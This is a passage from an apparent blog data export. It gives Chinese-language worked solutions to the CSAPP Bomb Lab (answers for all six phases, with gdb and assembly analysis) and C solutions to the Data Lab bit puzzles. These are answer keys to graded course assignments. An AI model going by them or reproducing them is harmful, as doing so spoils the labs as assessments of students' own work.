= null;\n ```\n\n - 0x4011df 到 0x4011f5：依次访问链表的节点，判断是否有后一个节点的数据大于前一个的情况，如果有，bomb。","content":"<h1 id=\"CSAPP-Bomb-Lab\"><a href=\"#CSAPP-Bomb-Lab\" class=\"headerlink\" title=\"CSAPP Bomb Lab\"></a>CSAPP Bomb Lab</h1><h3 id=\"答案\"><a href=\"#答案\" class=\"headerlink\" title=\"答案\"></a>答案</h3><ol>\n<li>Border relations with Canada have never been better.</li>\n<li>1 2 4 8 16 32</li>\n<li>多个答案<ul>\n<li>0 207</li>\n<li>1 311</li>\n<li>2 707</li>\n<li>3 256</li>\n<li>4 389</li>\n<li>5 206</li>\n<li>6 682</li>\n<li>7 327</li>\n</ul>\n</li>\n<li><em>应该有多个答案</em><ul>\n<li>7 0</li>\n</ul>\n</li>\n<li>一个6个字符的字符串，字符串的ascii值依次为<ul>\n<li>$9+k\\times16$ </li>\n<li>$15+k\\times16$</li>\n<li>$14+k\\times16$</li>\n<li>$5+k\\times16$</li>\n<li>$6+k\\times16$</li>\n<li>$7+k\\times16$</li>\n</ul>\n</li>\n<li> 4 3 2 1 6 5</li>\n</ol>\n<h3 id=\"第一题\"><a href=\"#第一题\" class=\"headerlink\" title=\"第一题\"></a>第一题</h3><h4 id=\"解答思路\"><a href=\"#解答思路\" class=\"headerlink\" title=\"解答思路\"></a>解答思路</h4><ul>\n<li>string_not_equal函数比对(0x402400)位置的string与输入的string</li>\n<li>直接运行gdb，<code>print (char*)0x402400</code>即可</li>\n<li><em>不需要读完string_not_equal函数，可以猜测0x402400就是要找的，然后一试就过了。不过也不可以绝对相信函数名，或许出题人骗我们呢 2333</em></li>\n</ul>\n<h3 id=\"第二题\"><a href=\"#第二题\" class=\"headerlink\" title=\"第二题\"></a>第二题</h3><h4 id=\"解答思路-1\"><a href=\"#解答思路-1\" class=\"headerlink\" title=\"解答思路\"></a>解答思路</h4><ul>\n<li>汇编代码显示，调用read_six_numbers读入6个数字，放在从栈底开始的24个字节里。测试第一个是否为1，用循环测试后一个是否是前一个的2倍。所以直接输入<code>1 2 4 8 16 32</code>即可AC</li>\n</ul>\n<h3 id=\"第三题\"><a href=\"#第三题\" class=\"headerlink\" title=\"第三题\"></a>第三题</h3><h4 id=\"解题思路\"><a href=\"#解题思路\" class=\"headerlink\" title=\"解题思路\"></a>解题思路</h4><ul>\n<li><figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">lea 0xc(%rsp),%rcx //rcx=12+rsp</span><br><span class=\"line\">lea 0x8(%rsp),%rdx //rdx=8+rsp</span><br><span class=\"line\">mov $0x4025cf,%esi //%d %d</span><br><span class=\"line\">mov $0x0,%eax</span><br><span class=\"line\">callq 400bf0 <__isoc99_sscanf@plt></span><br></pre></td></tr></table></figure>\n<p>从调用sscanf前的寄存器准备工作中看出，%esi放着格式字符串，用gdb<code>print (char*)0x4025cf</code>打印出<code>"%d %d"</code></p>\n</li>\n<li><p>然后测试读入的第一个数字是否大于7，如果是，explode_bomb</p>\n</li>\n<li><p>然后就是一个switch，用gdb<code>x/14w 0x402470</code>打印出</p>\n<figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">0x402470:\t0x00400f7c\t0x00000000\t0x00400fb9\t0x00000000</span><br><span class=\"line\">0x402480:\t0x00400f83\t0x00000000\t0x00400f8a\t0x00000000</span><br><span class=\"line\">0x402490:\t0x00400f91\t0x00000000\t0x00400f98\t0x00000000</span><br><span class=\"line\">0x4024a0:\t0x00400f9f\t0x00000000</span><br></pre></td></tr></table></figure>\n<p>按照对应关系确定第二个读入的数字即可</p>\n</li>\n</ul>\n<h3 id=\"第四题\"><a href=\"#第四题\" class=\"headerlink\" title=\"第四题\"></a>第四题</h3><h4 id=\"解题思路-1\"><a href=\"#解题思路-1\" class=\"headerlink\" title=\"解题思路\"></a>解题思路</h4><ul>\n<li>同样是用sscanf读入两个数字</li>\n<li>由于逻辑比较复杂，但是反编译比较简单，可以直接反编译得到结果</li>\n</ul>\n<h3 id=\"第五题\"><a href=\"#第五题\" class=\"headerlink\" title=\"第五题\"></a>第五题</h3><h4 id=\"解题思路-2\"><a href=\"#解题思路-2\" class=\"headerlink\" title=\"解题思路\"></a>解题思路</h4><ul>\n<li><figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">callq 40131b <string_length></span><br><span class=\"line\">cmp $0x6,%eax</span><br></pre></td></tr></table></figure>\n<p>读入6个字符的字符串</p>\n</li>\n<li><figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">movzbl (%rbx,%rax,1),%ecx</span><br><span class=\"line\">mov %cl,(%rsp)</span><br><span class=\"line\">mov (%rsp),%rdx</span><br><span class=\"line\">and $0xf,%edx</span><br><span class=\"line\">movzbl 0x4024b0(%rdx),%edx</span><br><span class=\"line\">mov %dl,0x10(%rsp,%rax,1)</span><br></pre></td></tr></table></figure>\n<p>提取每个字符的ascii的低4bits，放在<code>edx</code>里，然后从<code>0x4024b0+edx</code>的位置读入数据放在栈上</p>\n</li>\n<li><figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">mov $0x40245e,%esi</span><br><span class=\"line\">lea 0x10(%rsp),%rdi</span><br><span class=\"line\">callq 401338 <strings_not_equal></span><br></pre></td></tr></table></figure>\n<p>后面调用了strings_not_equal，比对0x40245e处的字符串及我们放在栈上的数据。</p>\n</li>\n<li><p>用gdb分别打印0x4024b0 0x40245e处的字符串，获得</p>\n<ul>\n<li><code>maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?</code></li>\n<li><code>flyers</code></li>\n</ul>\n</li>\n<li><p>此时可以知道，前面提取数据时，是以我们输入的字符的低4bit的数值为偏移量，从0x4024b0开始的字符串按照偏移量提取字符放在栈上，然后与<code>flyers</code>比对。偏移量依次为$9\\ 15\\ 14\\ 5\\ 6\\ 7$</p>\n</li>\n<li><p>但是这些字符不可打印出来，所以我们需要加上$16\\times k$来获得可打印的字符</p>\n</li>\n</ul>\n<h3 id=\"第六题\"><a href=\"#第六题\" class=\"headerlink\" title=\"第六题\"></a>第六题</h3><h4 id=\"一些心得\"><a href=\"#一些心得\" class=\"headerlink\" title=\"一些心得\"></a>一些心得</h4><ul>\n<li><p>不要尝试完整的人肉反汇编成C，而是大概知道哪段代码有哪些功能，然后用gdb调试，看看猜的对不对。比如本题以下代码</p>\n<figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">#from 代码段的401153</span><br><span class=\"line\">lea 0x18(%rsp),%rsi</span><br><span class=\"line\">mov %r14,%rax</span><br><span class=\"line\">mov $0x7,%ecx</span><br><span class=\"line\"></span><br><span class=\"line\">mov %ecx,%edx</span><br><span class=\"line\">sub (%rax),%edx</span><br><span class=\"line\">mov %edx,(%rax)</span><br><span class=\"line\">add $0x4,%rax</span><br><span class=\"line\">cmp %rsi,%rax</span><br><span class=\"line\">jne 401160 <phase_6+0x6c></span><br></pre></td></tr></table></figure>\n<p>大概知道是改变读入的数字的值，但是不确定确切功能，这时候可以在用gdb，在读入之后的地方设断点，打印这块内存区域的多个字节的值，然后再在这段代码执行后的地方设断点，打印值，观察变化，结合汇编代码，更加容易知道其功能</p>\n</li>\n<li><p>安利一个gdb插件<a href=\"https://github.com/longld/peda\" target=\"_blank\" rel=\"noopener\">peda</a>，大大提高gdb的用户体验</p>\n</li>\n</ul>\n<h4 id=\"解题思路-3\"><a href=\"#解题思路-3\" class=\"headerlink\" title=\"解题思路\"></a>解题思路</h4><ul>\n<li><p>整段代码分为 个部分</p>\n<ul>\n<li><p>0x4010fc 到 0x401106：读入6个数值</p>\n</li>\n<li><p>0x40110b 到 0x401151：一个大循环，对读入的数字的合法性进行检查，要求读入的数字的取值范围是$[1,6]$，并且相互之间不相等。（这时候或许就可以暴力了233333）</p>\n</li>\n<li><p>0x401153 到 0x40116d：另一个循环，对输入的数字顺序进行调整。（一开始想着直接看汇编，但是出错了，后来用gdb调试，很容易就看到了这个特性）</p>\n</li>\n<li><p>0x401176 到 0x4011a9：一个大循环把链表的node的地址按照一定顺序写到栈上（里面有多个小循环、跳转，比较复杂）。通过大概的反汇编、gdb打印该段代码执行前后内存的值、猜测、测试不同的输入的数字序列，获得该段的功能。</p>\n<p>其中，该段中把关于0x6032d0的值写入栈中，所以用gdb命令<code>x/30w 0x6032d0</code>打印改地址附近的多个字节，结果如下</p>\n<figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">0x6032d0 <node1>:\t0x0000014c\t0x00000001\t0x006032e0\t0x00000000</span><br><span class=\"line\">0x6032e0 <node2>:\t0x000000a8\t0x00000002\t0x006032f0\t0x00000000</span><br><span class=\"line\">0x6032f0 <node3>:\t0x0000039c\t0x00000003\t0x00603300\t0x00000000</span><br><span class=\"line\">0x603300 <node4>:\t0x000002b3\t0x00000004\t0x00603310\t0x00000000</span><br><span class=\"line\">0x603310 <node5>:\t0x000001dd\t0x00000005\t0x00603320\t0x00000000</span><br><span class=\"line\">0x603320 <node6>:\t0x000001bb\t0x00000006\t0x00000000\t0x00000000</span><br></pre></td></tr></table></figure>\n<p>可以看到有6个node，每个node的第三个字节都对应另一个node的地址，很明显，这是一个链表。</p>\n<p>由此可以知道该段代码的功能为<strong>把node的地址写在栈上，地址在栈上的排列顺序由读入的数字确定</strong>。当然，读入的数字的顺序在前面的一段代码被处理了，所以直接从汇编了解其逻辑比较难，还是用gdb打印该段代码执行后的值，并且尝试改变输入的数字的顺序来确定该段的逻辑。</p>\n<p><strong>node地址在栈上关于读入的数字的分布规则为</strong></p>\n<ul>\n<li>node地址越大，对应的数字越小，1对应0x603320，2对应0x603310，3对应0x603300，4对应0x6032f0，5对应0x6032e0，6对应0x6032d0</li>\n<li>node地址按照读入数字的顺序，排列在栈上。</li>\n</ul>\n</li>\n<li><p>0x4011ab 到 0x4011d9：该段从<code>%rsp+0x20</code>开始，读入前面写到栈上的node地址，然后写到上一个节点的偏移量为8bit的位置，也就是node里存放next node的指针的位置。其实就是按照栈上node地址的排列顺序重新排列链表里node的顺序，其等价的C代码如下：</p>\n<figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"class\"><span class=\"keyword\">struct</span> <span class=\"title\">node</span>{</span></span><br><span class=\"line\">\t<span class=\"keyword\">int</span> num;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> index;</span><br><span class=\"line\">\tnode *next;</span><br><span class=\"line\">};</span><br><span class=\"line\"></span><br><span class=\"line\">node **next = %rsp+<span class=\"number\">0x28</span>;</span><br><span class=\"line\">node **endnode = %rsp+<span class=\"number\">0x50</span>;</span><br><span class=\"line\">node *currentnode = *(%rsp+<span class=\"number\">0x20</span>);</span><br><span class=\"line\">node *temp;</span><br><span class=\"line\"><span class=\"keyword\">while</span>(<span class=\"number\">1</span>){</span><br><span class=\"line\">\ttemp = *next;</span><br><span class=\"line\">\tcurrentnode->next = temp;</span><br><span class=\"line\">\tnext += <span class=\"number\">1</span>;\t<span class=\"comment\">//in fact, it add 8 bytes;</span></span><br><span class=\"line\">\t<span class=\"keyword\">if</span>(endnode==next)</span><br><span class=\"line\">\t\t<span class=\"keyword\">break</span>;</span><br><span class=\"line\">\tcurrentnode = temp;</span><br><span class=\"line\">}</span><br><span class=\"line\">temp->next = null;</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>0x4011df 到 0x4011f5：依次访问链表的节点，判断是否有后一个节点的数据大于前一个的情况，如果有，bomb。</p>\n</li>\n</ul>\n</li>\n</ul>\n","slug":"CSAPP-Bomb-Lab","categories":[{"name":"CSAPP","slug":"CSAPP","permalink":"https://h-zex.github.io/categories/CSAPP/"}],"tags":[{"name":"CSAPP Lab","slug":"CSAPP-Lab","permalink":"https://h-zex.github.io/tags/CSAPP-Lab/"}]},{"title":"CSAPP Data Lab","date":"2017-09-13T05:39:11.000Z","path":"2017/09/13/CSAPP-Data-Lab/","text":"CSAPP data Lab 注意，本文代码出于节省括号避免繁杂的考虑，对运算符优先级利用得比较充分，比如 1>>n+1 等价于 1>>(n+1)，所以代码里写了1>>n+1。 bitAnd12345678910/* * bitAnd - x&y using only ~ and | * Example: bitAnd(6, 5) = 4 * Legal ops: ~ | * Max ops: 8 * Rating: 1 */int bitAnd(int x, int y) { return ~(~x|~y);} 思路 德摩根定律 getByte123456789101112/* * getByte - Extract byte n from word x * Bytes numbered from 0 (LSB) to 3 (MSB) * Examples: getByte(0x12345678,1) = 0x56 * Legal ops: ! ~ & ^ | + << >> * Max ops: 6 * Rating: 2 */int getByte(int x, int n) { int bias = n<<3; return (x>>bias)&0xFF;} 思路 移位到最低的1byte然后用0xFF提取 logicalShift1234567891011121314/* * logicalShift - shift x to the right by n, using a logical shift i * Can assume that 0 <= n <= 31 * Examples: logicalShift(0x87654321,4) = 0x08765432 * Legal ops: ! ~ & ^ | + << >> * Max ops: 20 * Rating: 3 */int logicalShift(int x, int n) { return (1<<32+~n<<1)+~0 & (x>>n); //equal to ((1<<31-n<<1)-1)&(x>>n); //负号优先级高于移位} 思路 因为不能用-，所以用取反加一代替取负 构造低32-nbit的1来提取移位后的数值 因为移位量不能小于0或大于等于32，所以对于n可能是0而导致移位量是32的情况，先移位31位，再移位1位 小技巧，如果n移位k，k$\\in$[0, 32]，则可以n>>(k-!!k)>>!!k bitCount12345678910111213141516171819202122232425/* * bitCount - returns count of number of 1's in word * Examples: bitCount(5) = 2, bitCount(7) = 3 * Legal ops: ! ~ & ^ | + << >> * Max ops: 40 * Rating: 4 */int bitCount(int x) { int mark1 = 0x55; int mark2 = 0x33; int mark3 = 0x0F; mark1 |= mark1<<8; mark1 |= mark1<<16; mark2 |= mark2<<8; mark2 |= mark2<<16; mark3 |= mark3<<8; mark3 |= mark3<<16; x = (x>>1&mark1)+(x&mark1); //every two bits; clear record; x = (x>>2&mark2)+(x&mark2); //every four bits; clear record; x = (x>>4&mark3)+(x&mark3); //every eight bits; clear record; x = (x>>8)+x; //every 16 bits; record in the low 8 bits; x = (x>>16)+x; //every 32 bits; record in the low 8 bits; return x&0xFF;} 思路 构造0x55555555，提取每两位中的low bit。通过移位及0x55555555，提取每两位中的高位。然后相加，使得结果中，每两位的二进制值就是该两位的bit数目 同样的思路，提取每四位的low bit、high bit，然后相加 因为32==100000(二级制)，也就是只需要5位就可以记录有多少bit数，所以不需要每次都构造常数屏蔽高位的值，直接移位相加然后取低8bit就可以得到最终结果 bang123456789101112131415/* * bang - Compute !x without using ! * Examples: bang(3) = 0, bang(0) = 1 * Legal ops: ~ & ^ | + << >> * Max ops: 12 * Rating: 4 */int bang(int x) { x |= x>>1; x |= x>>2; x |= x>>4; x |= x>>8; x |= x>>16; return ~x&0x1;} 思路 如果非0，位模式从最高位的1到最低位都填充为1， 如果为0，则位模式还是保持全0 tmin123456789/* * tmin - return minimum two's complement integer * Legal ops: ! ~ & ^ | + << >> * Max ops: 4 * Rating: 1 */int tmin(void) { return 1<<31;} fitBits12345678910111213/* * fitsBits - return 1 if x can be represented as an * n-bit, two's complement integer. * 1 <= n <= 32 * Examples: fitsBits(5,3) = 0, fitsBits(-4,3) = 1 * Legal ops: ! ~ & ^ | + << >> * Max ops: 15 * Rating: 2 */int fitsBits(int x, int n) { return !(x>>n+~0)|!((x>>n+~0)+1); //equal to !(x>>n-1) | !((x>>n-1)+1)} 思路 算术移n-1位，如果是负数，且可以用n bits的补码表示，则得到-1。如果是正数，则得到0。 divpwr21234567891011121314/* * divpwr2 - Compute x/(2^n), for 0 <= n <= 30 * Round toward zero * Examples: divpwr2(15,1) = 7, divpwr2(-33,4) = -2 * Legal ops: ! ~ & ^ | + << >> * Max ops: 15 * Rating: 2 */int divpwr2(int x, int n) { int t = x>>31; return (x+(t&1<<n)+(~(t&1)+1))>>n; //equal to (x+(t&1<<n)-(t&1))>>n; //note that & 的优先级低于<<} 思路 直接移位是round down，无论是负数还是正数 所以要实现round to zero , C表达式为x<0 ? x+(pow(2,n)-1)>>n : x>>n negate12345678910/* * negate - return -x * Example: negate(1) = -1. * Legal ops: ! ~ & ^ | + << >> * Max ops: 5 * Rating: 2 */int negate(int x) { return ~x+1;} 思路 直接取反再加1 isPositive12345678910/* * isPositive - return 1 if x > 0, return 0 otherwise * Example: isPositive(-1) = 0. * Legal ops: ! ~ & ^ | + << >> * Max ops: 8 * Rating: 3 */int isPositive(int x) { return ~(x>>31)&!!x;} 思路 符号位判断，并且非0 isLessOrEqual1234567891011/* * isLessOrEqual - if x <= y then return 1, else return 0 * Example: isLessOrEqual(4,5) = 1. * Legal ops: ! ~ & ^ | + << >> * Max ops: 24 * Rating: 3 */int isLessOrEqual(int x, int y) { return !!(x>>31&~(y>>31)) | !(~(x>>31)&(y>>31))&(x+~y+1>>31) | !(x^y); //equal to !!(x>>31&~(y>>31)) | !(~(x>>31)&(y>>31))&(x-y>>31) | !(x^y)} 思路 x<0&&y>0 | !(x>0&&y<0)&&(x-y>0) | x==y ilog21234567891011121314151617181920212223242526272829303132/* * ilog2 - return floor(log base 2 of x), where x > 0 * Example: ilog2(16) = 4 * Legal ops: ! ~ & ^ | + << >> * Max ops: 90 * Rating: 4 */int ilog2(int x) { int mark1 = 0x55; int mark2 = 0x33; int mark3 = 0x0F; mark1 |= mark1<<8; mark1 |= mark1<<16; mark2 |= mark2<<8; mark2 |= mark2<<16; mark3 |= mark3<<8; mark3 |= mark3<<16; x |= x>>1; x |= x>>2; x |= x>>4; x |= x>>8; x |= x>>16; x >>= 1; x = (x>>1&mark1)+(x&mark1); //every two bits; clear record; x = (x>>2&mark2)+(x&mark2); //every four bits; clear record; x = (x>>4&mark3)+(x&mark3); //every eight bits; clear record; x = (x>>8)+x; //every 16 bits; record in the low 8 bits; x = (x>>16)+x; //every 32 bits; record in the low 8 bits; return x&0xFF;} 思路 先构造从最高的1到最低位均为1的二进制，然后类似bitCount float_neg123456789101112131415161718/* * float_neg - Return bit-level equivalent of expression -f for * floating point argument f. * Both the argument and result are passed as unsigned int's, but * they are to be interpreted as the bit-level representations of * single-precision floating point values. * When argument is NaN, return argument. * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while * Max ops: 10 * Rating: 2 */unsigned float_neg(unsigned uf) { unsigned t = uf&0x7FFFFFFF; if(t^0x7F800000 && (t>>23)+1>>8) return uf; else return uf^0x80000000;} 思路 判别是否是NaN。先判断尾数是否全0，然后用(t>>23)+1>>8判断exp是否全1 float_i2f1234567891011121314151617181920212223242526272829303132333435363738394041/* * float_i2f - Return bit-level equivalent of expression (float) x * Result is returned as unsigned int, but * it is to be interpreted as the bit-level representation of a * single-precision floating point values. * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while * Max ops: 30 * Rating: 4 */unsigned float_i2f(int x) { unsigned shiftLeft=0; unsigned afterShift, tmp, flag; unsigned absX=x; unsigned sign=0; //special case if (x==0) return 0; //if x < 0, sign = 1000...,abs_x = -x if (x<0) { sign=0x80000000; absX=-x; } afterShift=absX; //count shift_left and after_shift while (1) { tmp=afterShift; afterShift<<=1; shiftLeft++; if (tmp & 0x80000000) break; } if ((afterShift & 0x01ff)>0x0100) flag=1; else if ((afterShift & 0x03ff)==0x0300) flag=1; else flag=0; return sign + (afterShift>>9) + ((159-shiftLeft)<<23) + flag;}//from http://www.cnblogs.com/tenlee/p/4951639.html 思路 分情况处理0、负数、正数 要处理舍人 向接近的舍入 如果处于中间，向偶数舍入 舍入时，如果尾数加一，exp有可能需要进位，这时候直接加一效果一样，可以导致exp进位，不需要特殊处理。如果exp等于0xFE，那么进位就变成了inf，也是合法的 float_twict123456789101112131415161718192021222324252627/* * float_twice - Return bit-level equivalent of expression 2*f for * floating point argument f. * Both the argument and result are passed as unsigned int's, but * they are to be interpreted as the bit-level representation of * single-precision floating point values. * When argument is NaN, return argument * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while * Max ops: 30 * Rating: 4 */unsigned float_twice(unsigned uf) { unsigned t = uf&0x7FFFFFFF; unsigned temp = t&0x7F800000; unsigned temp2 = uf&0xFF800000; int expFull = !(temp^0x7F800000); if(t^0x7F800000 && expFull) return uf; if(expFull){ return temp2; } if(!(t&0x7F800000)){ unsigned k = (uf&0x7FFFFF); return temp2+(k<<1); } return (temp>>23)+1<<23 | uf&0x807FFFFF;} 思路 分情况处理三种IEEE754的情况 需要注意exp全0时，乘以二就是尾数乘以二，如果发生进位需要exp进位，不需要特殊处理（第三个if），因为进位直接导致exp加一，这就足够了","raw":"---\ntitle: CSAPP Data Lab\ntoc: false\ncomments: true\nmathjax: true\ndate: 2017-09-13 13:39:11\ntags:\n- CSAPP Lab\ndescription: CSAPP 数据实验的解答\ncategories:\n- CSAPP\n---\n\n# CSAPP data Lab\n\n> 注意，本文代码出于节省括号避免繁杂的考虑，对运算符优先级利用得比较充分，比如 1>>n+1 等价于 1>>(n+1)，所以代码里写了1>>n+1。\n\n### bitAnd\n\n```c\n/* \n * bitAnd - x&y using only ~ and | \n * Example: bitAnd(6, 5) = 4\n * Legal ops: ~ |\n * Max ops: 8\n * Rating: 1\n */\nint bitAnd(int x, int y) {\n\treturn ~(~x|~y);\n}\n```\n\n#### 思路\n\n- 德摩根定律\n\n### getByte\n\n```c\n/* \n * getByte - Extract byte n from word x\n * Bytes numbered from 0 (LSB) to 3 (MSB)\n * Examples: getByte(0x12345678,1) = 0x56\n * Legal ops: ! ~ & ^ | + << >>\n * Max ops: 6\n * Rating: 2\n */\nint getByte(int x, int n) {\n\tint bias = n<<3;\n\treturn (x>>bias)&0xFF;\n}\n```\n\n#### 思路\n\n- 移位到最低的1byte然后用0xFF提取\n\n### logicalShift\n\n```c\n/* \n * logicalShift - shift x to the right by n, using a logical shift\n\ti\n * Can assume that 0 <= n <= 31\n * Examples: logicalShift(0x87654321,4) = 0x08765432\n * Legal ops: ! ~ & ^ | + << >>\n * Max ops: 20\n * Rating: 3 \n */\nint logicalShift(int x, int n) {\n\treturn (1<<32+~n<<1)+~0 & (x>>n);\n //equal to ((1<<31-n<<1)-1)&(x>>n);\n //负号优先级高于移位\n}\n```\n\n#### 思路\n\n- 因为不能用`-`，所以用取反加一代替取负\n\n- 构造低`32-n`bit的1来提取移位后的数值\n\n- 因为移位量不能小于0或大于等于32，所以对于n可能是0而导致移位量是32的情况，先移位31位，再移位1位\n\n > 小技巧，如果n移位k，k$\\in$[0, 32]，则可以`n>>(k-!!k)>>!!k`\n\n### bitCount\n\n```c\n/*\n * bitCount - returns count of number of 1's in word\n * Examples: bitCount(5) = 2, bitCount(7) = 3\n * Legal ops: ! ~ & ^ | + << >>\n * Max ops: 40\n * Rating: 4\n */\nint bitCount(int x) {\n\tint mark1 = 0x55;\n\tint mark2 = 0x33;\n\tint mark3 = 0x0F;\n\tmark1 |= mark1<<8;\n\tmark1 |= mark1<<16;\n\tmark2 |= mark2<<8;\n\tmark2 |= mark2<<16;\n\tmark3 |= mark3<<8;\n\tmark3 |= mark3<<16;\n\n\tx = (x>>1&mark1)+(x&mark1);\t//every two bits; clear record;\n\tx = (x>>2&mark2)+(x&mark2);\t//every four bits; clear record;\n\tx = (x>>4&mark3)+(x&mark3);\t//every eight bits; clear record;\n\tx = (x>>8)+x;\t//every 16 bits; record in the low 8 bits;\n\tx = (x>>16)+x;\t//every 32 bits; record in the low 8 bits;\n\treturn x&0xFF;\n}\n```\n\n#### 思路\n\n- 构造0x55555555，提取每两位中的low bit。通过移位及0x55555555，提取每两位中的高位。然后相加，使得结果中，每两位的二进制值就是该两位的bit数目\n- 同样的思路，提取每四位的low bit、high bit，然后相加\n- 因为32==100000(二级制)，也就是只需要5位就可以记录有多少bit数，所以不需要每次都构造常数屏蔽高位的值，直接移位相加然后取低8bit就可以得到最终结果\n\n### bang\n\n```c\n/*\n * bang - Compute !x without using !\n * Examples: bang(3) = 0, bang(0) = 1\n * Legal ops: ~ & ^ | + << >>\n * Max ops: 12\n * Rating: 4 \n */\nint bang(int x) {\n\tx |= x>>1;\n\tx |= x>>2;\n\tx |= x>>4;\n\tx |= x>>8;\n\tx |= x>>16;\n\treturn ~x&0x1;\n}\n```\n\n#### 思路\n\n- 如果非0，位模式从最高位的1到最低位都填充为1，\n- 如果为0，则位模式还是保持全0\n\n### tmin\n\n```c\n/* \n * tmin - return minimum two's complement integer \n * Legal ops: ! ~ & ^ | + << >>\n * Max ops: 4\n * Rating: 1\n */\nint tmin(void) {\n\treturn 1<<31;\n}\n```\n\n### fitBits\n\n```c\n/* \n * fitsBits - return 1 if x can be represented as an \n * n-bit, two's complement integer.\n * 1 <= n <= 32\n * Examples: fitsBits(5,3) = 0, fitsBits(-4,3) = 1\n * Legal ops: ! ~ & ^ | + << >>\n * Max ops: 15\n * Rating: 2\n */\nint fitsBits(int x, int n) {\n\treturn !(x>>n+~0)|!((x>>n+~0)+1);\n //equal to !(x>>n-1) | !((x>>n-1)+1)\n}\n```\n\n#### 思路\n\n- 算术移n-1位，如果是负数，且可以用n bits的补码表示，则得到-1。如果是正数，则得到0。\n\n### divpwr2\n\n```c\n/* \n * divpwr2 - Compute x/(2^n), for 0 <= n <= 30\n * Round toward zero\n * Examples: divpwr2(15,1) = 7, divpwr2(-33,4) = -2\n * Legal ops: ! ~ & ^ | + << >>\n * Max ops: 15\n * Rating: 2\n */\nint divpwr2(int x, int n) {\n\tint t = x>>31;\n\treturn (x+(t&1<<n)+(~(t&1)+1))>>n;\n //equal to (x+(t&1<<n)-(t&1))>>n;\n //note that & 的优先级低于<<\n}\n```\n\n#### 思路\n\n- 直接移位是round down，无论是负数还是正数\n- 所以要实现round to zero , C表达式为`x<0 ? x+(pow(2,n)-1)>>n : x>>n `\n\n### negate\n\n```c\n/* \n * negate - return -x \n * Example: negate(1) = -1.\n * Legal ops: ! ~ & ^ | + << >>\n * Max ops: 5\n * Rating: 2\n */\nint negate(int x) {\n\treturn ~x+1;\n}\n```\n\n#### 思路\n\n- 直接取反再加1\n\n### isPositive\n\n```c\n/* \n * isPositive - return 1 if x > 0, return 0 otherwise \n * Example: isPositive(-1) = 0.\n * Legal ops: ! ~ & ^ | + << >>\n * Max ops: 8\n * Rating: 3\n */\nint isPositive(int x) {\n\treturn ~(x>>31)&!!x;\n}\n```\n\n#### 思路\n\n- 符号位判断，并且非0\n\n### isLessOrEqual\n\n```c\n/* \n * isLessOrEqual - if x <= y then return 1, else return 0 \n * Example: isLessOrEqual(4,5) = 1.\n * Legal ops: ! ~ & ^ | + << >>\n * Max ops: 24\n * Rating: 3\n */\nint isLessOrEqual(int x, int y) {\n\treturn !!(x>>31&~(y>>31)) | !(~(x>>31)&(y>>31))&(x+~y+1>>31) | !(x^y);\n\t//equal to !!(x>>31&~(y>>31)) | !(~(x>>31)&(y>>31))&(x-y>>31) | !(x^y)\n}\n```\n\n#### 思路\n\n- `x<0&&y>0 | !(x>0&&y<0)&&(x-y>0) | x==y`\n\n### ilog2\n\n```c\n/*\n * ilog2 - return floor(log base 2 of x), where x > 0\n * Example: ilog2(16) = 4\n * Legal ops: ! ~ & ^ | + << >>\n * Max ops: 90\n * Rating: 4\n */\nint ilog2(int x) {\n\tint mark1 = 0x55;\n\tint mark2 = 0x33;\n\tint mark3 = 0x0F;\n\tmark1 |= mark1<<8;\n\tmark1 |= mark1<<16;\n\tmark2 |= mark2<<8;\n\tmark2 |= mark2<<16;\n\tmark3 |= mark3<<8;\n\tmark3 |= mark3<<16;\n\n\tx |= x>>1;\n\tx |= x>>2;\n\tx |= x>>4;\n\tx |= x>>8;\n\tx |= x>>16;\n\tx >>= 1;\n\n\tx = (x>>1&mark1)+(x&mark1);\t//every two bits; clear record;\n\tx = (x>>2&mark2)+(x&mark2);\t//every four bits; clear record;\n\tx = (x>>4&mark3)+(x&mark3);\t//every eight bits; clear record;\n\tx = (x>>8)+x;\t//every 16 bits; record in the low 8 bits;\n\tx = 